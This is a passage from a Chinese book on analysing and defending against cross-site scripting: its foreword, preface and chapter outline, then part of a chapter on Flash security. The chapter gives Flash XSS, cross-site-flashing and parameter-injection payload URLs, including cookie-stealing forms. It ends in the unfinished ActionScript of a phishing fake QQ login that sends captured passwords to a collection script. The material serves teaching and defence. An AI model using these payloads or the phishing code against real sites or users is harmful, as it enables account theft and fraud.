XSS跨站脚本攻击剖析与防御
人民邮电出版社
北京
在2012年年末的时候,邱永华先生找到我,希望我能为他的新书作序,我也得以有幸提前拜读到了本书的手稿。
在我看来,本书的完成,是一件值得高兴的事情。因为这是国内第一本专门阐述XSS的著作,本书的问世,为学习 Web 安全的新人提供了充分的学习材料,也为安全从业者提供了一份不可多得的参考手册,最终也必然将推动大家对XSS安全技术的重视。
长期以来,XSS攻击的危害都没有得到大多数的开发者的正确认识,甚至有的网络安全工作者也认为XSS的“危害不大”。造成这种误解的原因是多方面的。
XSS攻击的危害与具体业务场景密切相关。不同的业务场景,会导致不同的网络安全问题,有的场景危害大,有的场景危害小。而 XSS 作为一种漏洞类型,在描述其定义时很难定位到具体的场景里去。XSS攻击的危害程度大小,依赖于业务场景的重要程度。
我在阿里巴巴工作期间,曾经负责处理淘宝、支付宝的钓鱼欺诈案件。当时就发现很多案件中, XSS漏洞被用于网购钓鱼。诈骗者将一个XSS链接通过即时通信软件发送给用户,用户单击后,会自动跳转到钓鱼网站的页面,最终造成资金损失。在这样的案件中,诈骗者利用 XSS 使得链接的域名是真实合法的网站,从而绕过了所有安全软件的检测。我当时曾经粗略估算过一个 XSS 漏洞造成的损失,如果算上用户损失的金额,以及网站的修复成本,在案件最猖獗的时候,每个XSS漏洞会带来超过50万人民币的损失。
除此之外,曾经有多起网络犯罪利用Web Mail的XSS漏洞窃取目标用户的邮箱,而这样的定点渗透攻击所造成的损失往往难以衡量。
XSS攻击与浏览器也密切相关,在不同的浏览器上有着不同的表现。随着互联网的发展,浏览器的版本更新非常迅速。因此,想要熟练地掌握 XSS 防范技巧,需要对不同浏览器的特性进行深入地了解。
相对于攻击服务端的漏洞来说,XSS的攻击目标是客户端。通常来说,网站开发者、网站安全工程师会更重视攻击网站服务器的安全漏洞。但是,站在用户的角度,或者说从整个互联网安全的角度来看,XSS的安全性应该得到很好重视。
XSS攻击能够控制目标用户的浏览器做任何事情,因此,也会造成用户数据、用户隐私的泄露。在数据时代这一点显得尤为敏感。但是,今天很多网站的用户数据并未得到妥善的保管,很多爬虫、第三方抓取软件都或多或少地能从网站上抓取到一些用户数据,这也许会使得 XSS 的危害看起来不是那么的突出。但本书将会告诉你,XSS能做到的事情可能会远远出乎你的想象,加以防范是很重要的。
可以毫不夸张地说,几乎每个网站都或多或少地存在一些XSS漏洞。这些众多的XSS漏洞就像互联网里的一片片“雷区”,谁也不知道它们什么时候会“爆炸”,造成损失。
随着JavaScript和HTML5技术的发展,越来越多的网站和移动应用开始使用更加高级的前端技术,因此,也必然会催生XSS攻击的升级。XSS攻击在未来十年可能会产生质的变化,而且也注定会是互联网安全领域内的一个值得长期关注的热点。
如果以前XSS安全被忽视的话,那么希望,从本书起,能够引起足够的重视。
研究XSS,从本书开始!
吴翰清(网名:刺)
于杭州
如果说现代Web安全中有什么不容忽视的事实,那便是XSS(Cross-site Scripting)跨站脚本成为了 Web 威胁之首。长期以来,跨站脚本作为最常见的计算机安全漏洞,在世界各地的网站上疯狂肆虐,即使最知名的网站,如Google、Facebook、微软官方网站等,也曾遭受过XSS漏洞攻击。然而,由于XSS属于被动式攻击且不易利用,所以一直不被重视。
“XSS?不就是弹出个对话框给自己看吗?!”
“反正XSS不能窃取我的root权限。”
“跨站脚本是在客户端执行,XSS漏洞关我什么事!”
“XSS等同于鸡肋漏洞。”
……
这些就是XSS跨站脚本给大部分人留下的印象。
作为一名Web应用安全研究者,我对XSS的态度迥然不同,并且认为XSS跨站脚本的危害不亚于缓冲区溢出、代码执行、SQL 注射等安全漏洞。众所周知,XSS 技术的运用方式灵活多变,利用它可以劫持浏览器用户的会话、窃取客户端Cookies、网络钓鱼等,在特定场景下或配合其他漏洞,威力会更大!尤其是近年来,结合Ajax动态网页技术、Web 2.0信息分享模式和社交网络, XSS衍生出类似蠕虫般具有自我复制能力的攻击形态,不但能在短时间内造成大量客户端用户受到攻击,还能使受害的客户端用户对服务器产生的大量请求,形同对服务器的分布式拒绝服务攻击(DDos)。
令人遗憾的是,目前国内还没有一本专门讲述 XSS 技术的书籍,以致于人们对这类漏洞、攻击缺乏一定程度的了解。
幸运的是,网络上始终有一群“跨站师”致力于 XSS 技术研究,并且无私地分享着他们的技巧,于是大家逐渐对XSS漏洞的危害产生了更深层次的认识。
本书通过讲述有关跨站脚本的知识,读者可以深刻地感受到跨站脚本的强大,并且详尽地了解许多与XSS相关的内容,例如,在什么环境下可以触发XSS,利用XSS漏洞可以做什么,如何防范此类攻击等。自始至终,本书贯穿着许多案例分析,读者可以在实际环境中进行安全测试。需要注意的是:本书的内容仅供学习之用,希望读者不要使用其中的代码和技术对其他网站发动攻击,否则后果自负。
由于这是本人第一次写书,其中难免有所错漏,欢迎读者斧正与交流!与此同时,希望本书可以对大家有所帮助。
归根结底,本书的真正目的是为了让大家理解XSS跨站脚本的危害并加以防范。
本书结构
全书总共8章,读者可以通过浏览目录以进一步了解各章的内容。在本书结尾,附上相关资料以及参考文献。
第1章 XSS初探 带读者走进XSS跨站脚本的世界,此章主要阐述了XSS的基础知识,包括XSS的攻击原理、危害以及一些常用技巧,理解本章对学习后面的内容至关重要。
第2章 XSS利用方式剖析 就当前比较流行的XSS利用方式进行深入阐述,这些攻击往往基于客户端,从挂马、窃取Cookies、会话劫持到钓鱼欺骗,各种攻击都不容忽视。
第3章 XSS测试和工具剖析 介绍了一些常见的XSS测试和利用的工具,前面 4节主要讲述可测试XSS的工具,后面4节讲述XSS的利用平台。
第4章 发掘XSS漏洞 着重以黑盒和白盒的角度介绍如何发掘XSS漏洞,黑盒环境下可手动发掘XSS漏洞,也可以利用一些自动化测试工具;白盒环境下则可以通过分析代码的方式发掘XSS漏洞。
第5章 XSS Worm剖析 讲解了XSS的终极利用方式,也是Web 2.0的最大威胁——跨站脚本蠕虫,此章还介绍了Web 2.0相关概念及其核心技术、浏览器的安全等,这些知识对理解 XSS Worm十分重要。
第6章 Flash应用安全 就当前的 Flash应用安全进行深入阐述。尽管安全社区需经常修补一些 XSS、CSRF 和其他注入漏洞,但是,Flash 的应用中提供了一种新的攻击类型,尤其是那些无防备的和未经严格测试的Flash应用程序。
第7章 深入XSS原理 讨论一些比较深入的XSS理论,其中涉及许多特殊的XSS技巧和应用场景,这些XSS将会对传统的跨站防御方案提出挑战。同时,此章还会讲到其他类型的Web安全漏洞,这些漏洞均与XSS息息相关。
第8章 防御XSS攻击 介绍了一些防范XSS攻击的方法,例如运用XSS Filter进行输入过滤和输出编码、使用Firefox浏览器的Noscript插件抵御XSS攻击等,而使用HTTPOnly的Cookies同样能起到保护敏感数据的作用。
读者
本书的读者应当熟悉网页技术,包括HTML和JavaScript,如果您还具备一些编程经验和网络安全的相关知识,便能更轻松地理解其中某些章节的内容。
本书读者对象包括:
• 网站管理人员;
• 信息/网络安全或相关从业者;
• 程序员/软件开发工程师,包括Web开发人员;
• 教授Web安全技术相关内容的教师;
• 任何对Web安全技术感兴趣的人。
致谢
出书是个浩大的工程,在本书写作期间,一直遇到很多困难,经历数月的时间才最终艰难完成!借此机会感谢所有使本书能够顺利出版提供帮助的朋友。
写书之前阅读和参考了大量 XSS 技术方面的文档,因此,本书汇聚了国内外许多安全研究员的研究成果和专业技能,在此一并表示感谢。
特别感谢吴翰清(网名刺)和钟晨鸣(网名余弦)先生,为本书提出的宝贵意见和指正。感谢我的家人和朋友,尤其是我的父母,你们为我付出很多!
在此,我要感谢活跃在 Web 安全圈子里的跨站师们,你们的公开文章和技巧让我学到了很多技术。
联系方式
邮箱:cnn4ry@gmail.com。
cnn4ry@163.com。
新浪微博:http://weibo.com/cnn4ry。
腾讯微博:http://t.qq.com/cnn4ry。
声明
本书仅限于讨论网络安全技术,请勿用作非法用途,严禁利用本书所提到的漏洞和技术进行非法攻击,否则后果自负,本人和出版商不承担任何责任!
编者
Flash 是一种交互式矢量多媒体技术,如今在越来越多的网站得到广泛的应用,往往被用来播放视频,游戏或者实现其他复杂的用户交互功能。Flash在为Web应用提供丰富多元的功能的同时,也带来一些安全问题。
Flash 支持全局变量,因此带来了很多安全隐患,只要攻击者控制了全局变量,就可以实施多种攻击行为。
在开发基于Web的富应用程序(Rich Internet Applications,RIA)时,许多Flash应用程序开发人员并没有意识到程序正受到来自恶意攻击者的各种安全威胁,尽管对安全社区来说XSS、CSRF及其他输入验证漏洞并不陌生,但是Flash提供了一种新的攻击类型,尤其是那些无防备的和未经严格测试的Flash应用程序。
在这一章中,我们将详细探讨Flash的应用安全,包括Flash的一些安全策略,以及应用程序中的各种安全漏洞。
Adobe Flash是一种交互式矢量多媒体技术,被广泛使用在Web网站中,以增加特殊的动画效果与网页交互能力。该软件最初由Macromedia公司设计,该公司于2005年被Adobe公司收购。
据统计,全球已有超过 3 000 000名游戏开发者和设计师在使用Flash,99%的具有上网功能的台式机安装了 Flash Player,75%的在线视频采用了 Flash技术,70%的网络游戏是基于 Flash开发的。
图6-1所示为一个典型的Flash应用的截图。
要运行Flash应用程序,浏览器中必须先安装Flash Player或者Shockwave Player。在过去的几年中,拥有该播放器的 Internet用户数量与日俱增,而现在的浏览器都预装了Flash Player。
Adobe Flash Player是一款被广泛使用的、专有的多媒体程序播放器,能够在各种浏览器、操作系统和移动设备上使用,功能强大,兼容性高,标志如图6-2所示。
▲图6-1 Flash的应用
▲图6-2 FlashPlayer标志
SWF(Shock Wave Flash)是 Flash的专用格式,使用Flash Player便能运行SWF文件。另外, SWF文件可以直接嵌入到网页中执行,浏览器对SWF的解释机制如图6-3所示。
▲图6-3 浏览器解释 SWF的过程
浏览器运行Flash应用程序要经过以下步骤:
① 浏览器解释HTML文档;
② 解释嵌入的Flash 插件;
③ Flash插件解析SWF字节码;
④ 插件和浏览器通过LiveConnect接口进行通信。
在HTML页面中嵌入Flash,一般使用<object>和<embed>标签。
(1)使用<embed>标签:
<html>
<body marginwidth="0" marginheight="0">
<embed width="100%" height="100%" name="plugin"
src="test.swf" type="application/x-shockwave-flash"/>
</body>
</html>
embed标签支持Mozilla系列的浏览器或其他支持Netscape插件的浏览器,当然,IE也可以识别embed。
(2)使用<object>标签:
<html>
<body marginwidth="0" marginheight="0">
<object width="100%" height="100%"
data="test.swf" type="application/x-shockwave-flash">
<param name="src" value="test.swf" />
<param name="quality" value="high" />
</object>
</body>
</html>
这种方式需使用W3C规范中标准的object元素。<object> 标签用于引入对象,比如图像、音频、视频、Java Applets、ActiveX、PDF以及 Flash,用于 IE系列或者其他支持Activex控件的浏览器。
(3)使用<object>+<embed>标签:
<html>
<body marginwidth="0" marginheight="0">
<object width="100%" height="100%" title="flash"
data="test.swf" type="application/x-shockwave-flash">
<param name="movie" value="test.swf" />
<param name="quality" value="high" />
<embed src="test.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer"
type="application/x-shockwave-flash" width="100%" height="100%" ></embed>
</object>
</body>
</html>
为了确保大多数浏览器能正常显示Flash,建议把<embed>标签嵌套放在<object>标签内。
Flash有内置的脚本语言——ActionScript,这种语言是一种基于 ECMAScript 的编程语言,用来编写Adobe Flash 视频和应用程序。ActionScript主要有3个版本:ActionScript 1.0、ActionScript 2.0和ActionScript 3.0,其中 2.0和 3.0版是目前较为流行的。
熟悉Flash的读者应该知道,ActionScript是基于JavaScript的,因而两者具有类似的语法和结构,但本质上仍然是两种截然不同的语言,它们之间的一个重要区别是:ActionScript 使用的脚本完全由 Flash Player解释和处理,与查看文件的浏览器无关;而 JavaScript使用的外部解释程序则根据所用的浏览器的不同而不同。
创建Flash应用程序和编写ActionScript脚本可以使用Adobe Flash CS3(或者其他版本)。下载和安装后直接打开程序,界面如图6-4所示,在新建处选择“Flash文件(ActionScript 2.0)”即可新建文件。
▲图6-4 打开 Adobe Flash CS3
接着,在菜单栏选择“窗口”菜单下的“动作命令”,或直接按【F9】快捷键打开动作面板。在这里可以编写ActionScript脚本,如输入 trace("Hello World");,再按【Ctrl+Enter】组合键便能浏览脚本的运行效果,分别如图6-5和图6-6所示。
▲图6-5 编写 ActionScript脚本
▲图6-6 查看 Action Script效果
Flash的一些基础知识就介绍到这里,下一节我们讨论另一个比较有趣的话题——Flash安全模型。
Adobe的Flash技术已经变得越来越流行了,现在该软件不仅用于创建动画和广告,而且还用来开发复杂的应用程序。借助于ActionScript,Flash具备了与服务器的交互功能,当然,不可避免地成为漏洞和后门程序的主攻之地,越来越多的黑客开始着力发掘Flash安全漏洞,基于Flash的客户端攻击日渐密集,包括我们熟知的XSS、CSRF等。
图6-7所示为从2001——2008年Flash漏洞的统计数量。
▲图6-7 Flash漏洞的统计数量
自Flash7.0问世以来,Flash的安全模型(Security Model)就开始运行,主要提供以下几个方面的功能:
• 利用沙箱控制和阻止外部影片之间的交互和访问;
• 控制浏览器和Flash影片之间的交互和访问;
• 控制其他外部资源如音乐、文本文件的访问;
• 控制对其他服务器的通信等。
下面详细介绍Flash安全模型中几个比较重要的概念。
Flash Player中的一个主要安全性组件是基于沙箱(Sandbox)的,沙箱对于安全性尤其重要。一般来说,如果没有恰当的信任授权,位于两个不同沙箱内的内容是没有任何交互的,因此 Flash Player的安全模型使用沙箱来定义各个Flash应用程序可以访问的数据以及操作的范围。
安全域是Flash中最顶级的沙箱,安全域链接到内容的来源域名,比如在a.com下的SWF文件包含一个链接到a.com的安全域,而在b.com下的SWF文件则有一个链接到b.com的安全域。不同的安全域使得SWF文件在Flash Player中播放时运行在自身的沙箱下,如图6-8所示。
▲图6-8 Flash的沙箱模式
如果两个 SWF 文件分别处于不同的安全域下,则任何一个 SWF 中的数据都不可以被另一个SWF获取。如图6-8所示,a.com下a1.swf文件只能与同域下的a2.swf文件进行通信;同样的,b.com域下的b1.swf文件只能和b2.swf文件通信,如果尝试获取其他域中SWF文件的数据将会产生安全错误。
如果想要让两个处于不同安全域内的SWF文件进行通信,可以通过信任授权来实现。通过信任授权后,某个安全域内的文件即可获取另一个域内的文件数据。
在ActionScript语言中,SWF文件的信任授权是通过Security.allowDomain()方法来设置的。
在下面的例子中,一个子SWF文件调用allowDomain()函数来允许父SWF文件的访问:
http://home.example.com/parent.swf:
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);
var url:String = "http://away.example.com/child.swf";
loader.load(new URLRequest(url));
function init(event:Event):void {
// (子文件执行了allowDomain)
trace(loader.content); <em>// [object DocumentClass]</em>
}
http://away.example.com/child.swf
Security.allowDomain("home.example.com");
如果将通配符“*”传递给Security.allowDomain方法,它将允许从所有域进行访问:
Security.allowDomain("*");
由于这种方式会为所有域中的 SWF 文件授予访问、执行调用的 SWF 文件脚本的权限。也就是说,可以通过ActionScript来访问文件中的数据,这是很危险的一件事,所以请谨慎使用通配符“*”。
另外,由于非SWF格式的文件不能调用allowDomain代码,所以这类文件的信任机制在Flash中有不一样的处理方法——应用跨域策略(Cross Domain Policy)文件。
大家都知道,JavaScript的同源策略是Web应用安全的核心部分,其作用是防止某个文档或脚本从多个不同源进行装载,而Flash的跨域策略恰恰继承自JavaScript,因此它们非常相似。理论上来说,由于Flash的安全策略实现在Flash应用程序与网站的边界之间,所以更容易被绕过。
默认环境下,运行在Web浏览器下的Flash不允许访问其他域的数据,如下:
http://playsec.com/movie.swf ===> 访问:
http://playsec.com/dir/movie1.swf ✓
http://playsec.com /dir2/movie2.swf ✓
https://playsec.com /movie3.swf ✗
http://playsec.com:8080/movie4.swf ✗
http://www.playsec.com/movie5.swf ✗
可见,Flash的访问策略无疑和JavaScript的同源政策如出一辙。然而为了更好的用户体验及全面的功能需求,经常需要跨域获取数据,而唯一可以让Flash执行跨域操作的方式是跨域策略文件。
跨域策略文件是一个放在网站根域名下的名为crossdomain.xml的XML文件,图6-9所示为位于http://v.youku.com下的策略文件。
和 allowDomain类似,crossdomain.xml文件定义了一组可以被Flash Player加载的安全网站域名,并限制 Flash 是否可以跨域读写数据以及允许从什么地方跨域读写数据。比如,位于www.playsec.com 域下的 SWF 文件要访问 www.target.com 的文件时, SWF 首先会检查www.target.com 服务器目录下是否有 crossdomain.xml 文件,如果没有,则访问不成功;若crossdomain.xml 文件存在,且设置了允许 www.playsec.com 域的访问,那么通信正常。所以要使Flash可以跨域访问和传输数据,其关键在于crossdomain.xml文件。
▲图6-9 crossdomain.xml文件
http://www.playsec.com/crossdomain.xml的跨域策略文件的示例代码如下:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.target.com" />
<allow-access-from domain="www.test.org" />
<allow-access-from domain="123.202.0.1" />
</cross-domain-policy>
以上示例表示,www.playsec.com允许来自“*.target.com”、“www.test.org”和“123.202.0.1”的跨域请求。
虽然crossdomain.xml文件的格式非常简单,但有一点要注意,该文件必须严格遵守XML语法。文件的根节点是cross-domain-policy,其下包含一个或多个allow-access-from节点。该节点的domain的属性值为允许访问的域名,域名可以是确切的 IP地址,也可以是一个确切的域。
此外,可以使用通配符来设置允许访问来自任何域的文档,具体代码如下:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
使用通配符“*”允许所有域的访问等同于:用户可能接触到的所有处于该域下的数据都有可能被任意SWF文件获取,有可能会导致非常严重的后果。
除了allow-access-from节点,根节点下还包含另外3个子节点:site-control、allow-access-from-identity、allow-http-request-headers-from。
各自的作用分别如下:
site-control:通过检查该节点的属性值,确认是否可以允许加载其他策略文件
allow-access-from-identity:配置跨域访问策略为允许有特定证书的来源跨域访问本域上的资源
allow-http-request-headers-from:授权第三方域的Flash向本域发送用户定义的HTTP头
Flash可以加载其他的跨域策略文件,不过在此之前会先检查主目录的crossdomain.xml文件来判断是否接受自定义策略文件。默认情况下,Flash 不加载除主策略文件之外的其他策略文件,但是设置了permitted-cross-domain-policies的by-content-type相关属性后,黑客就能通过上传文件来定义自己策略文件。
如果读者想获得更多详细的跨域策略文件格式信息,可以参考Adobe官方发布的说明书Adobe Cross Domain Policy File Specification,如图6-10所示。
▲图6-10 Flash跨域策略文件说明书
下载地址如下:
http://learn.adobe.com/wiki/download/attachments/64389123/CrossDomain_PolicyFile_Spec ification.pdf?version=1
在本地硬盘运行的 SWF文件也有自己的安全域,可以通过 Flash player 的设备管理器来设置。设置管理器允许用户为客户端计算机上执行的Flash应用程序指定各种安全性、隐私和资源使用设置。
例如,用户可以控制应用程序对网络摄像机等选定设备的访问权等。而且这些设置是持久的,并由用户自由控制,其中的设置适用于包含SWF或FLV内容的所有Web 站点。
图6-11和图6-12所示分别为设置管理器不同的功能操作界面。
▲图6-11 “全局安全性设置”选项卡
▲图6-12 “Web站点保密性设置”选项卡
通过Flash Player设置管理器,可以管理全局保密性设置、存储设置、安全设置和自动通知设置。
更多有关设备管理器的详细内容可以参考下面的网址:
http://www.macromedia.com/support/documentation/cn/flashplayer/help/settings_manager.
html
对Flash的基础概念和安全模型进行详细介绍后,现在我们来讨论一些比较实际、也是大家最关心的问题——Flash的安全漏洞。
最早研究Flash漏洞的安全人员要算是Stefano Di-Paola,当时他在OWASP发布了几篇论文,详细介绍了Flash的众多安全漏洞,以及如何利用这些漏洞执行XSS、CSRF之类的攻击,下面让我们一步步进行讨论。
在Flash中被利用最多是 XSS漏洞。第一个Flash XSS漏洞出现在2003年,利用的是 clickTAG变量。
图6-13和图6-14所示为关于Flash XSS的漏洞报告。
▲图6-13 Flash XSS漏洞报告 1
clickTAG变量是为基于广告的Flash设计的,其作用是跟踪广告,并帮助提供广告的网络机构跟踪广告的显示位置和广告被单击的时间、次数等。
下面是一个典型的利用<embed>或<object>标签嵌入横幅广告的示例代码:
<embed
src="http://www.test.com/banner.swf?clickTAG=http://test.com/track?http://example.com
">
或者也可以这样实现:
<object type="application/x-shockwave-flash" data=" http://www.test.com/banner.swf"
width="640" height="480" >
<param name="movie" value="http://www.test.com/banner.swf">
<param name=”flashvars” value=” clickTAG=http://test.com/track?http://example.com”>
</object>
▲图6-14 Flash XSS漏洞报告 2
地址栏形式如下:
http://www.test.com/banner.swf?clickTag=[click_through_url]
如果执行getURL(clickTAG)前没有正确检查clickTAG变量,就有可能被注入恶意脚本执行XSS攻击。
我们演示一下。打开Adobe Flash CS3软件,按下快捷键【F9】打开动作面板,如图6-15所示,输入以下ActionScript代码:
getURL (clickTag, "_top");
编译完成之后,用浏览器进行访问:
http://127.0.0.1/xss.swf?clickTag=javascript:alert(/xss/);
此时成功触发XSS,如图6-16所示。
▲图6-15 输入 ActionScript代码
▲图6-16 执行 clickTag触发 XSS
上述示例中,主要利用ActionScript 2.0中的 getURL()函数来执行跨站脚本代码。getURL()函数的作用是将来自特定URL的文档加载到窗口中,或将变量传递到位于所定义的URL的另一个应用程序,语法如下:
getURL(url:String, [window:String, [method:String]]) : Void
参数说明如下:
url:String:从该处获取文档的URL
window:String [可选]:指定应将文档加载到其中的窗口或HTML帧,您可输入特定窗口的名称,或从下面的保留
目标名称中选择:
_self 指定当前窗口中的当前帧
_blank 指定一个新窗口
_parent 指定当前帧的父级
_top指定当前窗口中的顶级帧
method:String [可选]:用于发送变量的GET或POST方法,如果没有变量则省略此参数
使用getURL()可以使页面重定向到函数指定的页面,函数内的参数通常需要设置一个URL,比如http://www.playsec.com,具体脚本如下:
getURL(“http://www.playsec.com”);
假设用“javascript: URL”来替换:
getURL(javascript:code, '_self')
getURL("javascript:alert(document.cookie)");
此时,就能得到一个 JavaScript alert对话框。这意味着,我们可以利用 getURL()函数来执行任意脚本代码。
假设一个含有漏洞的SWF文件有以下ActionScript脚本:
getURL("javascript:void(0)", "_self", "GET");
那么,通过访问以下URL就可以执行代码:
http://127.0.0.1/xss.swf?a=0:0;alert(/XSS/);
XSS的效果如图6-17所示。
▲图6-17 执行 XSS
我们来看一个更加简单的例子。新建一个Flash应用程序,输入以下ActionScript 2.0代码:
getURL('javascript:alert(123);');
编译好该文件,将文件命名为xss.swf,然后新建一个HTML文件并嵌入该Flash文件:
<object id="test" width="200" height="150">
<param name=movie value="Movie.swf">
<embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-
shockwave-flash" width="200" height="150">
</embed>
</object>
再用浏览器打开新建的HTML文档,此时会弹出对话框,如图6-18所示。
▲图6-18 执行 XSS
需要注意的是,虽然ActionScript 2支持 getURL()函数,但ActionScript 3已经不支持了。和Flash Player的版本无关,代码都是兼容的,所以只要用ActionScript 2.0来编写脚本即可。
总而言之,Flash XSS是利用有漏洞的 Flash文件进行攻击,漏洞产生的原因主要来自于未经初始化的变量。
任何未初始化的变量,如 _root.*、_global.*、_level0.* 都能通过查询关键字为其赋值。
注入点如下。
y getURL()函数 (如使用Javascript:alert('XSS'))。
y load*(URL,..) 函数 (如使用asfunction:getURL,javascript:alert('XSS'))。
¾ loadVariables(url, level )。
¾ LoadMovie ( url, target )。
¾ LoadMovieNum( url, level )。
¾ XML.load ( url )。
¾ LoadVars.load ( url )。
¾ Sound.loadSound( url , isStreaming )。
¾ NetStream.play( url )。
y TextField.html属性 (如<img src='javaScript:alert("XSS")//.jpg'>)。
漏洞示例代码如下:
if (_root.url == undefined) {
_root.url = "http://host/";
}
gerURL(_root.url);
访问以下URL就能触发XSS:
http://host/movie.swf?url=javascript:alert('XSS')
跨站Flashing(Cross Site Flashing,XSF)不是一种新型的攻击,但是非常常见。XSF和XSS原理很相似,但XSF利用编写不规范的Flash对象,并从URL参数中获取输入,从而导致恶意攻击,示例如下:
http://foo.com/file.swf?url=javascript:alert(document.cookie);
跨站 Flash 攻击发生时,通常来自两个不同的域,情况如下。
① 当一个Flash影片用loadMovie*函数(或者利用其他方法)载入另一个Flash影片时,便能获取相同的安全沙箱。
② 当HTML网页使用*Script去解析一个Flash影片的时候,也会产生XSF。
由此可见,XSF可以通过向网站注入恶意的Flash程序来实施攻击,示例如下:
if(_root.movieURI == undefined){
_root.movieURI = "http://host/movie.swf";
}
loadMovieNum(_root.movieURI,1);
触发漏洞的URL:
http://host/movie.swf?movieURI=maliciousFile.swf
在这个示例中,Flash可能包含事先定义的全局变量 _root.movieURI,并且给该变量赋予正常Flash文件进行调用,然后通过 loadMovieNum()方法加载Flash文件movie.swf。但是,当攻击者了解到此全局变量后,可以将恶意 Flash 文件 maliciousFile.swf 赋给该变量,浏览器就会通过loadMovieNum ()方法装载恶意文件。
下面再来看另外一个示例。
漏洞代码:
loadMovie(_root.mURL + '/movie2.swf');
访问地址:
http://host/foo.swf?mURL=asfunction:getURL,javascript:alert(123)//
结果变成:
loadMovie('asfunction:getURL,javascript:alert(123)///movie2.swf')
进而脚本代码被顺理成章地执行。
除了上述例子中的loadMovieNum()和loadMovie()函数,如果用户能控制的某些数据没有被严格处理,在下面的函数或变量中使用也可能触发XSF攻击。
y loadVariables。
y loadMovie。
y getURL。
y loadMovie。
y loadMovieNum。
y FScrollPane.loadScrollContent。
y Sound.loadSound。
y NetStream.play。
y flash.external.ExternalInterface.call。
y htmlText。
这种含有潜在危险的函数简称为PDNF(Potentially Dangerous Native Function),它们通常允许使用asfunction伪协议,前面的例子即使用了asfunction来执行代码。
asfunction是一个专用于Flash的HTML附加协议,在Flash里,<a>标签的href属性有3个不同的协议:HTTP、HTTPS和FTP,关键字asfunction是第四个有效的协议,允许用户通过超级链接调用函数或带一个参数的函数,例如:
<a href=asfunction:myFunc,myParameter>click here</a>
在此示例中,当【click here】按钮被按下后,将调用myFunc()函数,而myParameter是myFunc()函数的一个参数。
FPI(Flash Parameter Injection)指Flash参数型注入攻击,是一种动态注入Flash的全局参数的攻击手段。
众所周知,网页中的Flash是直接嵌入到HTML文档中的,因此不能被URI加载,但是由于Flash的一些全局参数是可以通过URI来设置的。这样一来,如果攻击者能访问和控制Flash的全局参数,就能够进行Flash XSS、跨站Flash等攻击。
IBM Rational的安全团体曾经发布一本白皮书专门介绍 FPI攻击,该白皮书的名字为 Flash Parameter Injection,书中介绍了几种可以在Flash嵌入HTML页面时覆盖全局参数执行攻击的方法,有如下几种类型:
y 反射型Flash参数注入(Reflected Flash Parameter Injection);
y 附带FlashVars的反射型Flash参数注入(Reflected Flash Parameter Injection with FlashVars);
y FlashVars注入(FlashVars Injection);
y 基于DOM的Flash参数注入(DOM-based Flash Parameter Injection);
y 持久型Flash参数注入(Persistent Flash Parameter Injection)。
(1)反射型Flash参数注入。
当Flash视频的名称作为URL参数暴露在外的时候,攻击者可以控制装入的Flash变量,以加载一个恶意的Flash视频。
漏洞代码:
print '<object type="application/x-shockwave-flash" data="' . $params{movie} .
'"></object>';
在上面的代码中,Flash视频的名称取自请求中的表单或URL参数,并且被放在生成的HTML页面中,攻击者可能通过下面的URL覆盖一些Flash全局参数:
http://www.test.com/index.cgi?movie=myMovie.swf?globalVar=e-v-i-l
受害者单击该链接时,即生成下面的HTML代码:
<object type="application/x-shockwave-flash"
data="myMovie.swf?globalVar=e-v-i-l" >
</object>
(2)附带FlashVars的反射型Flash参数注入。
这种方法使用FlashVars属性。该属性可以在<object>标签中指定,用来传递全局Flash参数。在ActionScript 2.0中,FlashVars会被自动导入到Flash应用程序的变量空间。
漏洞代码如下:
my $language;
if (exists($params{language})) {
$language = $params{language};
}
else {
$langauge = "English"; # 默认值
}
print '<object type="application/x-shockwave-flash" data="myMovie.swf" flashvars=
"language=' . $language . '"></object>';
攻击的方式如下:
http://www.test.com/index.cgi?language=English%26globalVar=e-v-i-l
其中,26%被编码成&,并产生以下的HTML代码:
<object type="application/x-shockwaMovie.swf"
ve-flash" data="my flashvars="language=English&globalVar=e-v-i-l">
</object>
(3)FlashVars注入。
当任意的<object>标签的属性作为参数接收时,都可能导致这种攻击,漏洞代码如下:
print '<object type="application/x-shockwave-flash" ' .
'data="myMoive.swf" ' .
'width="' . $params{width} .
'" height="' . $params{height} .
'"></object>';
width和height参数没有被过滤和消毒,直接传递到输出的HTML文档,攻击示例如下:
http://URL/myMovie.cgi? width=600&height=600" flashvars="globalVar=e-v-i-l
单击以上链接生成下面的HTML代码:
<object type="application/x-shockwave-flash"
data="myMovie.swf"
width="
600" height="600" flashvars="globalVar=e-v-i-l">
</object>
(4)基于DOM的Flash参数注入。
当document.location变量被用作Flash参数的时候,会导致此类攻击,其漏洞代码如下:
<script type="text/javascript" language="JavaScript">
var s = '';
var loc = encodeURI(document.location);
s += '<object>';
s += ' <embed src="myFlash.swf" flashvars="location='+ loc +'">';
s += ' </embed>';
s += '</object>';
document.write(s);
</script>
攻击示例:
http://URL/index.htm#&globalVar=e-v-i-l
生成的代码则是:
<object>
<embed src="myFlash.swf"
flashvars="location=http://URL/index.htm#&globalVar=e-v-i-l">
</embed>
</object>
这里有两个变量传递给Flash文件,分别是location和glbalVar。location的值为http://URL/index.htm#, glbalVar的值为 e-v-i-l。另外,#后的数据不会发送给服务器,这和前面讲过的DOM-Based XSS的原理一样。
(5)持久型Flash参数注入。
该攻击发生在Flash Cookie被保存下来并且被加载到Flash视频中的情况下。
除了利用Flash本身存在的漏洞执行攻击,还可以把Flash当做一个载体加以利用,如网络钓鱼攻击。此类攻击不要求Flash或网站本身存在漏洞,而是结合社会工程学进行攻击。
近年来,基于Flash的钓鱼攻击日益增多,例如,前段时间就有利用QQ空间伪装QQ安全中心进行钓鱼的案例。攻击者通过QQ空间的装扮功能,利用Flash播放器播放了一个精心构造的Flash文件来仿造QQ登录框,并诱使用户输入账号及密码信息。当受害者输入自己的QQ账号和密码后,该信息被发送到指定的空间,并生成一个文本文件记录下来。
该Flash文件的ActionScript代码如下:
var str = "http://localhost/mail.asp";
ntxt.restrict = "0-9";
var scData = new LoadVars();
scData.onLoad = function (success)
{
if (!success)
{
msg.text = "错误:用户密码错误!";
}else
{
msg.text = "错误:用户密码错误!";
}
gotoAndStop(4);
};
sub_btn.onRelease = function ()
{
var _loc1 = ntxt.text;
var _loc2 = ptxt.text;
if (_loc2.length > 5 && _loc1.length > 4)
{
scData.QQNumber = _loc1;
